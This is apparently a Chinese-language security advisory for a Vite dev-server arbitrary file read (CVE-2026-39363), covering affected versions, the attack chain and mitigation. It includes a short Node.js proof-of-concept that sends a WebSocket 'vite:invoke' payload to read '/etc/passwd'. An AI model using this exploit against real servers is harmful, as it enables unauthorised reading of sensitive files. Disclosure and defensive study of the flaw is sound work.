CVE-2026-39363 CVSS 7.5 高危

CVE-2026-39363 Vite 任意文件读取漏洞

披露日期: 2026-04-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-39363

漏洞类型

任意文件读取

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Vite

漏洞概述

Vite是流行的前端工具框架。在6.0.0至6.4.2之前、7.3.2之前及8.0.5之前的版本中，存在严重的安全漏洞。攻击者若能在无Origin头的情况下连接至Vite开发服务器的WebSocket接口，可发送`vite:invoke`事件调用`fetchModule`，结合`file://`协议与`?raw`参数读取服务器上任意文件内容。该利用路径绕过了HTTP请求中设置的`server.fs.allow`等访问控制，导致敏感信息泄露，风险较高。

技术细节

该漏洞源于Vite开发服务器WebSocket接口的访问控制机制缺陷。虽然HTTP请求路径通过`server.fs.allow`配置限制了文件访问范围，但WebSocket接口未正确校验请求头的Origin，允许无认证连接。攻击者可利用这一差异，通过WebSocket发送自定义的`vite:invoke`事件，进而调用服务端的`fetchModule`函数。通过精心构造载荷，使用`file://`协议指定绝对路径（例如`file:///etc/passwd`），并添加`?raw`或`?inline`参数，服务器会将目标文件内容直接作为JavaScript字符串响应返回。由于该执行路径未应用文件系统访问限制，攻击者可读取服务器上的任意敏感文件，导致信息泄露。

攻击链分析

STEP 1

1. 发现与连接

攻击者扫描发现Vite开发服务器端口，并在不带Origin头的情况下建立WebSocket连接。

STEP 2

2. 构造载荷

攻击者构造包含`vite:invoke`事件的JSON数据，指定`file://`协议路径及`?raw`参数。

STEP 3

3. 执行利用

通过WebSocket发送载荷，触发服务端`fetchModule`函数读取指定文件。

STEP 4

4. 数据回传

服务器将文件内容作为字符串返回给攻击者，完成敏感信息窃取。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

const WebSocket = require('ws');

// Target Vite dev server address (default localhost:5173)
const target = 'ws://localhost:5173';
const ws = new WebSocket(target);

ws.on('open', function open() {
  console.log('[+] Connected to Vite Dev Server');

  // Construct the malicious payload
  // Use 'file://' protocol to read local files and '?raw' to get content
  const payload = {
    event: 'vite:invoke',
    data: {
      path: 'file:///etc/passwd?raw' // Change path to target file
    }
  };

  console.log('[*] Sending payload:', JSON.stringify(payload));
  ws.send(JSON.stringify(payload));
});

ws.on('message', function message(data) {
  console.log('[+] Response received:');
  console.log(data.toString());
  ws.close();
});

ws.on('error', function error(err) {
  console.error('[-] Error:', err);
});

影响范围

Vite >= 6.0.0, < 6.4.2

Vite >= 7.0.0, < 7.3.2

Vite >= 8.0.0, < 8.0.5

防御指南

临时缓解措施

如果无法立即升级，请确保Vite开发服务器不直接暴露在互联网上，仅通过本地回环地址访问，或使用反向代理（如Nginx）添加严格的WebSocket访问控制和Origin头校验。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表